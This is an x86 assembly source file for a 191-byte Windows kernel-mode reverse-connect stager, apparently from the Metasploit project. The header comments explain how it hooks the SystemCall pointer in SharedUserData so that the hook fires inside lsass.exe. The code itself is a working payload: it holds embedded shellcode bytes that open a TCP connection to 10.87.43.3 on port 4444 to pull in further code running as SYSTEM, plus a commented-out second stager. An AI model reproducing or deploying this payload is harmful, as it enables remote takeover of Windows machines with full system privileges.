; ; 191 byte kernel-mode reverse connect stager for 32-bit versions of Windows. ; ; ; This payload implements a reverse connect stager that is expected to be used ; in conjunction with a kernel-mode exploit. The way that it accomplishes this is ; by placing a ring-3 payload (in this case a reverse connect stager) in an unused ; portion of SharedUserData at around 0x7ffe037c. After doing that, it overwrites ; the KUSER_SHARED_DATA.SystemCall function pointer at 0xffdf0300 with a pointer ; to the custom code that resides in the unused portion of SharedUserData. This ; makes it such that whenever a system call is issued from a user-mode process, ; it will call through the custom code. ; ; Prior to doing the reverse connect, the custom code has some logic to ; make sure that it's running in lsass.exe. If it's not, it calls the original ; system call dispatcher. If it's running in lsass, it checks to make sure ; PEB.SpareBool is not 1. If it's one, then it just calls the original system ; call dispatcher. Otherwise, it runs the reverse connect stager. This has ; the affect of staging in more code that will run as SYSTEM in the context ; of lsass. ; ; By default, this stager will spin the kernel-mode thread that the code ; originally executed in. Alternative recovery methods may need to be used ; depending on the bug. ; ; Not really that optimized. Could be smaller. ; ; skape ; 10/2006 ; bits 32 entry: ; jump forward to get the address of the r3 payload jmp short get_payload_address startup: ; get the address that we're going to write to (KUSER_SHARED_DATA.SystemCall) mov ebx, 0xffdf0301 dec ebx copy_ring3_payload: ; copy ring3 payload to 0xffdf037c cld lea edi, [ebx + 0x7c] pop esi ; calculate the number of dwords to copy and store it in ecx ; note: if the r3 payload doesn't properly align on a 4 byte boundary, ; bad things will happen. push byte (((call_orig_syscall - ring3_payload) / 4)) pop ecx ; copy the entire r3 payload rep movsd save_fptr: ; save the original function pointer for SystemCall at 0xffdf0308 mov eax, [ebx] lea ecx, [ebx + 8] mov [ecx], eax append_indirect_jmp: ; append an indirect jump to the original SystemCall after the r3 payload mov word [edi], 0x25ff mov dword [edi+2], 0x7ffe0308 overwrite_fptr: ; overwrite the SystemCall attribute, making the ring3 SystemCall hook live. mov dword [ebx], 0x7ffe037c finish: ; spin the calling thread. this can be replaced with code that takes care of ; cleaning things up so that the kernel can continue operating as normal. hlt jmp finish get_payload_address: call startup ring3_payload: save_regs: ; save registers since we're called like the system call handler pushad is_lsass: ; check to see if the ImageFile associated with this process has ; lsass at a certain offset. mov ebx, 0x0002063c ; 0002063c 6c 00 73 00 61 00 73 00-73 00 2e 00 65 00 78 00 l.s.a.s.s. mov ecx, [ebx] ; ecx = 0x0073006c add ecx, [ebx+3] ; ecx = 0x7373616c cmp ecx, 0x7373616c jnz restore_regs has_been_run: ; if we're running as lsass, check to see if we've already been ; run once by checking the SpareBool flag in the PEB. push byte 0x30 pop ebx mov ebx, [fs:ebx] inc ebx inc ebx inc ebx cmp byte [ebx], 0x1 jz restore_regs save_been_run: ; if we haven't been run, then set the flag that says we have by ; setting SpareBool to 1. This will prevent subsequent system call ; executions from trying to run this code. mov byte [ebx], 0x1 jmp short stager restore_regs: ; restore registers and call the original system call handler popad jmp short call_orig_syscall stager: ; reverse_ord_tcp stager from msf, lsass always has ws2_32 db 0xfc,0x31,0xdb,0x64,0x8b,0x43,0x30,0x8b,0x40,0x0c,0x8b,0x50,0x1c,0x8b,0x12 db 0x8b,0x72,0x20,0xad,0xad,0x4e,0x03,0x06,0x3d,0x32,0x33,0x5f,0x32,0x75,0xef db 0x8b,0x6a,0x08,0x8b,0x45,0x3c,0x8b,0x4c,0x05,0x78,0x8b,0x4c,0x0d,0x1c,0x01 db 0xe9,0x8b,0x41,0x58,0x01,0xe8,0x8b,0x71,0x3c,0x01,0xee,0x03,0x69,0x0c,0x53 db 0x6a,0x01,0x6a,0x02,0xff,0xd0,0x97 db 0x81,0xEC,0x00,0x0C,0x00,0x00 ; sub esp, 0xc00 db 0x68 db 0x0a,0x57,0x2b,0x03 ; ip address (10.87.43.3) db 0x68,0x02,0x00 db 0x11,0x5c ; port (4444) db 0x89,0xe1,0x53,0xb7,0x0c,0x53,0x51,0x57,0x51,0x6a,0x10,0x51,0x57 db 0x56,0xff,0xe5 ; reverse_tcp stager from msf ; db 0xfc,0x6a,0xeb,0x47,0xe8,0xf9,0xff,0xff,0xff,0x60,0x31,0xdb,0x8b,0x7d,0x3c ; db 0x8b,0x7c,0x3d,0x78,0x01,0xef,0x8b,0x57,0x20,0x01,0xea,0x8b,0x34,0x9a,0x01 ; db 0xee,0x31,0xc0,0x99,0xac,0xc1,0xca,0x0d,0x01,0xc2,0x84,0xc0,0x75,0xf6,0x43 ; db 0x66,0x39,0xca,0x75,0xe3,0x4b,0x8b,0x4f,0x24,0x01,0xe9,0x66,0x8b,0x1c,0x59 ; db 0x8b,0x4f,0x1c,0x01,0xe9,0x03,0x2c,0x99,0x89,0x6c,0x24,0x1c,0x61,0xff,0xe0 ; db 0x31,0xdb,0x64,0x8b,0x43,0x30,0x8b,0x40,0x0c,0x8b,0x70,0x1c,0xad,0x8b,0x68 ; db 0x08,0x5e,0x66,0x53,0x66,0x68,0x33,0x32,0x68,0x77,0x73,0x32,0x5f,0x54,0x66 ; db 0xb9,0x72,0x60,0xff,0xd6,0x95,0x53,0x53,0x53,0x53,0x43,0x53,0x43,0x53,0x89 ; db 0xe7,0x66,0x81,0xef,0x08,0x02,0x57,0x53,0x66,0xb9,0xe7,0xdf,0xff,0xd6,0x66 ; db 0xb9,0xa8,0x6f,0xff,0xd6,0x97,0x68, ; db 0x0a,0x57,0x2b,0x03 ; ip address (10.87.43.3) ; db 0x66,0x68 ; db 0x11,0x5c ; port (4444) ; db 0x66,0x53,0x89,0xe3,0x6a,0x10,0x53,0x57,0x66,0xb9,0x57,0x05,0xff,0xd6,0x50 ; db 0xb4,0x0c,0x50,0x53,0x57,0x53,0x66,0xb9,0xc0,0x38,0xff,0xe6 call_orig_syscall: